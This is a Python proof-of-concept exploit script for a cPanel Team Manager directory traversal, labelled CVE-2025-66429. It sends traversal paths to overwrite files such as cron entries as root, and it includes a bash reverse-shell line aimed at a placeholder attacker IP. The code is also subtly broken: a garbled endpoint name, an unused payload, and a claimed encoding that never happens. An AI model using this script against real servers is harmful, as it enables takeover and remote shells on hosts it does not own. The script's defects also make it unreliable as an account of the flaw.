CVE-2025-66429

#!/usr/bin/env python3 """ CVE-2025-66429 PoC - cPanel Team Manager API Directory Traversal Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher """ import requests import sys from urllib.parse import quote def exploit_cpanel_directory_traversal(target_url, username, password, target_file, session_cookie=None): """ Exploit the directory traversal vulnerability in cPanel Team Manager API Args: target_url: Base URL of cPanel instance username: Valid cPanel username (low privilege is sufficient) password: Password for the user target_file: File to overwrite (e.g., '../../../etc/cron.d/malicious') session_cookie: Existing session cookie (optional) """ # API endpoint for Team Manager file operations api_endpoint = f"{target_url}/api/team_manager/file操作" # Directory traversal payload # Using URL encoding to bypass basic filters malicious_path = f"../../../{target_file}" # Construct the malicious request payload = { 'action': 'update_file', 'file_path': malicious_path, 'content': '# Malicious cron job added by attacker\n* * * * * root /tmp/malicious.sh\n', 'username': username } headers = { 'Content-Type': 'application/json', 'User-Agent': 'cPanel Security Research' } if session_cookie: headers['Cookie'] = f"cpanel_session={session_cookie}" print(f"[*] Target: {target_url}") print(f"[*] Exploiting directory traversal to write to: {target_file}") print(f"[*] Sending malicious request...") try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): print("[+] File overwrite successful!") print(f"[+] Response: {result}") return True else: print(f"[-] Request failed: {result.get('error')}") return False else: print(f"[-] HTTP Error: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def privilege_escalation_to_root(target_url, session_cookie): """ Attempt privilege escalation by overwriting cron or adding sudo user """ # Method 1: Overwrite cron.d to execute malicious script cron_payload = """#!/bin/bash # Reverse shell payload bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ exploit_cpanel_directory_traversal( target_url, "lowpriv_user", "password", "../../../var/spool/cron/root", session_cookie ) # Method 2: Add sudo user to /etc/passwd equivalent # This would require more sophisticated manipulation return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-66429 - cPanel Team Manager Directory Traversal") print("=" * 60) if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://cpanel.example.com:2087 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cpanel_directory_traversal( target, user, passwd, "../../../etc/cron.d/malicious" )

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